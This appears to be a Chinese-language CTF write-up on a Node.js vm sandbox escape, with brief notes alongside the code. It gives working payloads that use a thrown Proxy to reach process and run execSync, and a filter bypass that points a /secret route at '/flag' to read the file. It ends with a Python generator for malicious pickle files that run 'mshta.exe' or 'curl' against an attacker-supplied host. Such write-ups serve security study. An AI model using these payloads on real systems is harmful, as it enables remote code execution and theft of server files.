app.get('/', function (req, res){ res.sendFile(__dirname + '/public/home.html'); })
functionwaf(code) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; if(code.match(pattern)){ thrownewError("what can I say? hacker out!!"); } }
app.post('/', function (req, res){ let code = req.body.code; let sandbox = Object.create(null); let context = vm.createContext(sandbox); try { waf(code) let result = vm.runInContext(code, context); console.log(result); } catch (e){ console.log(e.message); require('./hack'); } })
app.get('/secret', function (req, res){ if(process.__filename == null) { let content = fs.readFileSync(__filename, "utf-8"); return res.send(content); } else { let content = fs.readFileSync(process.__filename, "utf-8"); return res.send(content); } })
app.listen(3000, ()=>{ console.log("listen on 3000"); })
vm逃逸 过滤了很多东西
存在try catch方法 应该是使用proxy方法,报错执行
1 2 3 4 5 6 7 8 9
` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } }) `
通过污染tostring属性和proxy报错回显,完成一个注入
注意到
1 2 3 4 5 6 7 8 9 10
app.get('/secret', function (req, res){ if(process.__filename == null) { let content = fs.readFileSync(__filename, "utf-8"); return res.send(content); } else { let content = fs.readFileSync(process.__filename, "utf-8"); return res.send(content); } })
functionwaf(code) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; if(code.match(pattern)){ thrownewError("what can I say? hacker out!!"); } }
const script = `(() => { throw new Proxy({}, { get: function(){ const c = arguments.callee.caller; const p = (c.constructor.constructor('return pr'%2b'ocess'))(); p.__filename = "/flag"; return "\\n"; } }) })()`;
let sandbox = Object.create(null); let context = vm.createContext(sandbox); // let process.__filename='test';
def produce_pickle_bytes(platform, cmd): b = b'\x80\x04\x95' b += struct.pack('L', 22 + len(platform) + len(cmd)) b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode() b += b'\x94\x8c\x06system\x94\x93\x94' b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode() b += b'\x94\x85\x94R\x94.' print(b) return b
if __name__ == '__main__': if len(sys.argv) != 2: exit(f"usage: {sys.argv[0]} ip:port") with open('nt.pickle', 'wb') as f: f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/")) with open('posix.pickle', 'wb') as f: f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))